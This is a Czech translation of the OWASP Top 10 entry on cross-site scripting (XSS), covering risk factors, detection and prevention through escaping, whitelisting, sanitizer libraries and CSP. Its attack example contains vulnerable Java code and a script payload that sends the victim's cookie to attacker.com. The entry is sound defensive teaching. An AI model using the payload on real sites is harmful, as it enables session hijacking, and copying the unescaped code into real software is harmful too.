A3 - Cross Site Scripting (XSS)

A3 - Cross Site Scripting (XSS)

Zranitelnosti umožňující napadení vkládáním skriptů či jejich částí do webového prohlížeče. XSS útočníkům umožňuje spouštět skripty v prohlížeči oběti. Útočník tak může unést uživatelské relace, přetvářet vzhled stránek, přesměrovávat uživatele na škodlivé weby atd.

    Původce hrozbyVektor útokuBezpečnostní slabinaTechnické dopadyObchodní dopady
    Aplikační specifikumZneužitelnost
    průměrná
    Rozšíření
    velmi rozsáhlé
    Zjistitelnost
    snadná
    Dopad
    střední
    Aplikační / obchodní specifikum
    Vezměte v úvahu každého, kdo může posílat nedůvěry- hodná data do systému, včetně externích uživatelů, interních uživatelů a administrá- torů.Útočník posílá v podobě textového řetězce útočné skripty, které zneužívají interpret v prohlížeči. Vektorem útoku může být skoro každý zdroj dat včetně interních zdrojů, například dat z databáze.

    XSS je nejrozšířenější bezpečnostní chybou webových aplikací. Zranitelnost XSS nastává, když aplikace vkládá data poskytnutá uživatelem do webové stránky, kterou posílá do prohlížeče, bez řádné validace či escapování tohoto obsahu. Rozlišujeme dva typy zranitelností XSS: 1) stored a 2) reflected a každá z nich se může objevit a) na serveru nebo b) na straně klienta.

    Nalézt většinu XSS na straně serveru je celkem jednoduché: testováním nebo analýzou kódu. Nalézt XSS na straně klienta je velmi obtížné.

    Útočníci můžou spouštět skripty v prohlížeči oběti, což jim umožňuje unést uživatelskou relaci, změnit obsah stránek, vložit nebezpečný obsah, přesměrovat uživatele, zmocnit se uživatelova prohlížeče za použití malwaru atd.Zvažte obchodní hodnotu postiženého systému a všech dat, které zpracovává. Také zvažte, jaký obchodní dopad může mít zveřejnění zranitelnosti.
    Jsem zranitelný vůči „XSS“?

    Jste zranitelní, pokud nezajistíte, aby byly správně escapovány všechny vstupy zadávané uživatelem, ani neověříte jejich bezpečnost validací vstupů dříve, než je použijete při vytvoření stránky. Bez správného výstupního escapování nebo validace bude prohlížeč zacházet s takovým vstupem jako s aktivním obsahem. Používá-li se pro dynamické aktualizování stránek Ajax, používáte bezpečná JavaScriptová API? Pro nebezpečná JavaScriptová API musí být použito zakódování nebo validace dat.

    Automatizované nástroje mohou najít některé XSS automaticky. Každá aplikace ovšem sestavuje výstupní stránky jiným způsobem a používá na straně prohlížeče různé interprety, např. JavaScript, ActiveX, Flash a Silverlight, což automatickou detekci ztěžuje. Kompletní pokrytí problému XSS proto kromě automatizovaných přístupů vyžaduje i kombinaci manuální kontroly kódu a penetračního testování.

    Technologie Web 2.0, např. Ajax, detekci XSS pomocí automatických nástrojů ztěžuje.

    Jak mohu předejít „XSS“?

    Prevence XSS vyžaduje oddělit nedůvěryhodná data od aktivního obsahu prohlížeče.

    • 1. Preferovanou možností je důkladně escapovat všechna nedůvěryhodná data založená na kontextu HTML (tělo, atributy, JavaScript, CSS nebo URL), do kterého se budou umisťovat. Viz dokument OWASP XSS Prevention Cheat Sheet, kde jsou uvedeny podrobnosti potřebných technik escapování dat.
    • 2. Doporučuje se sice i validace vstupů na základě pozitivních zkoušek či „whitelistů“, protože chrání proti XSS; není to ovšem kompletní obrana, neboť mnoho aplikací vyžaduje na vstupu speciální znaky. Takováto validace by měla, nakolik je to možné, před akceptováním dat validovat jejich délku, znaky, formát a pravidla činnosti.
    • 3. V případě rozsáhlých stránek zvažte automatické sanitizační knihovny, např. OWASP AntiSamy nebo Java HTML Sanitizer Project.
    • 4. Jako obranu proti XSS na všech svých stránkách zvažte Content Security Policy.
    Příklady možných útoků

    Při konstrukci následujícího kousku HTML používá aplikace nedůvěryhodná data bez validace či escapování:

    (String) page += ">input name='creditcard' type='TEXT'
    value='" + request.getParameter("CC") + "'>";

    Útočník změní parametr ‘CC’ ve svém prohlížeči na:

    '><script>document.location= 'http://www.attacker.com
    /cgi-bin/cookie.cgi ?foo='+document.cookie</script>'.

    To způsobí odeslání ID relace oběti na webové stránky útočníka, což mu umožní unést aktuální relaci oběti.

    Všimněte si, že útočník může XSS použít ke zmaření jakékoliv automatizované obrany aplikace proti CSRF. Další informace o CSRF najdete v sekci A8.

    Odkazy
    OWASP: Externí:
    Originál o Cross-Site Scripting (XSS) v angličtině